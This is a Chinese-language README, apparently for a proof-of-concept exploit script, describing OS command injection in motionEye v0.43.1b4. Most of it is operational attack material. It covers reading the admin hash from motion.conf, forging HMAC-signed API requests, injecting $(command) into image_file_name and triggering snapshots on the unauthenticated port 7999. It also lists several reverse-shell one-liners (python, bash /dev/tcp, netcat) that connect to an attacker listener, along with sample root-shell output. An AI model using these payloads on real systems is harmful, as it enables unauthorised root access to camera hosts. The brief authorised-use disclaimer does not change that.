
MotionEye v0.43.1b4 OS Command Injection
MotionEye v0.43.1b4 操作系统命令注入
针对 motionEye(一个用于 motion 守护进程的 Web 前端)漏洞的 OS 命令注入概念验证利用。该漏洞滥用了 image_file_name 配置参数,该参数未经净化地直接传递给 shell,允许通过 $(command) 子 shell 语法进行任意命令注入。
免责声明: 仅用于您已获得明确许可进行测试的系统。未经授权使用是非法的。
motionEye 将 image_file_name 配置值直接作为 shell 文件名模式传递给 motion 守护进程。Motion 在快照时评估文件名中的 $(...) 子 shell 表达式,这意味着放在 $(...) 内部的任何命令都会以运行 motion 进程的用户(通常是 root)身份执行。
完整的攻击链如下:
1. 从 /etc/motioneye/motion.conf 读取 admin_password 哈希
↓
2. 推导 cookie 哈希 = SHA1(admin_password_hash)
↓
3. 使用 motionEye 的确切算法计算 HMAC 签名:
SHA1("METHOD:path:body:key")
↓
4. 发送恶意配置到 /config/{cam}/set/,设置:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. 通过未经身份验证的 motion 控制端口 7999 触发快照
↓
6. Motion 评估文件名 → 命令以 root 身份执行
↓
7. 反向 shell 回连到攻击机
8765)/etc/motioneye/motion.conf 的管理员密码哈希nc)无需第三方 Python 包 — 此利用仅使用标准库。
motionEye 配置文件将管理员密码存储为 SHA1 哈希。从目标读取它:
cat /etc/motioneye/motion.conf
查找 @admin_password 注释行:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
@admin_password之后的值是明文密码的 SHA1 哈希,而不是密码本身。这是您利用所需的哈希。
同时注意 webcontrol_port 值 — 这是用于触发快照的未经身份验证的 motion 控制端口:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye 使用双重哈希身份验证方案:
明文密码
│
▼ SHA1
admin_password ←── 存储在 motion.conf 中,作为 @admin_password
│
▼ SHA1
cookie_hash ←── 在浏览器 cookie 中作为 meye_password_hash 发送
│
▼ 用作 HMAC 密钥
request_signature ←── 每个 API 请求中的 _signature= 参数
该利用自动从配置哈希推导 cookie 哈希:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
您可以手动验证这一点:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# 输出:238bd0f26e9f987d2dc9c0351c018e5f52534052
签名根据 motionEye 源代码计算,位于
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
其中:
METHOD — HTTP 方法(POST)path — URI,移除了查询字符串中的 _signature,参数排序,值 URL 编码,然后通过 _SIGNATURE_REGEX 过滤body — 原始 JSON 主体字符串,通过 _SIGNATURE_REGEX 过滤key — 可以是 admin_password 或 admin_hash(motionEye 两者都接受),通过 _SIGNATURE_REGEX 过滤_SIGNATURE_REGEX 会去除不在 [a-zA-Z0-9/?_.=&{}\[\]":, -] 中的任何字符,并用 - 替换它们。
打开 exploit.py 并在顶部设置以下变量:
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye Web UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion 控制端口(无认证)
USERNAME = "admin" # 管理员用户名(默认:admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # 来自 motion.conf
LHOST = "10.10.16.153" # 您的监听器 IP — 目标必须能够访问此地址
LPORT = "4444" # 您的监听器端口
反向 shell 命令由 LHOST 和 LPORT 自动设置:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
替代 shell 命令 — 如果默认命令被阻止,可替换 COMMAND:
# Bash TCP(简单,可能被过滤)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# 带 -e 标志的 Netcat
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# 不带 -e 的 Netcat(OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
在您的攻击机上,在运行利用之前启动一个 netcat 监听器:
nc -lvnp 4444
该利用会在打印监听器提醒后暂停 5 秒,以便您切换终端。
python3 exploit.py
预期输出:
============================================================
motionEye RCE — 反向 Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] 现在启动您的监听器:
nc -lvnp 4444
[*] 5 秒后发送 payload...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] 配置已保存! cam=2 key=admin_password
[*] 通过端口 7999 触发快照(无认证)...
[+] cam 0 → 200 相机 0 快照完成
[+] cam 1 → 200 相机 1 快照完成
[+] cam 2 → 200 相机 2 快照完成
[+] 快照已触发 — 检查您的监听器 10.10.16.153:4444
在您的监听器上,您应该收到:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
所有请求返回 403 Unauthorized
签名错误。请验证您的 ADMIN_HASH 值与 motion.conf 中 @admin_password 行完全一致 — 没有空格,没有换行符。
cat /etc/motioneye/motion.conf | grep admin_password
快照已触发但没有 shell 到达
image_file_name 注入成功但反向 shell 被阻止。尝试步骤 4 中的替代 COMMAND。同时确认目标可以访问您的 LHOST:
# 在目标上
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
端口 7999 拒绝连接
webcontrol_localhost on 设置将端口 7999 限制为仅本地主机。利用必须从目标机器或通过隧道运行。通过以下命令确认:
ss -tlnp | grep 7999
motion.conf 不可读
文件可能需要提升权限:
sudo cat /etc/motioneye/motion.conf
未找到相机配置
检查哪些相机配置文件存在,如有必要,更新利用中的 cam 列表:
ls /etc/motioneye/camera-*.conf
| 参数 | 位置 | 描述 | 示例 |
|---|
MOTIONEYE_URL | exploit.py | motionEye Web 界面的完整 URL | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | motion 控制端口的 URL(无需认证) | http://127.0.0.1:7999 |
USERNAME | exploit.py | motionEye 管理员用户名 | admin |
ADMIN_HASH | exploit.py | motion.conf 中 @admin_password 的 SHA1 哈希 | 989c5a8e... |
LHOST | exploit.py | 攻击机 IP — 目标必须能访问此地址 | 10.10.16.153 |
LPORT | exploit.py | nc 监听器所在的端口 | 4444 |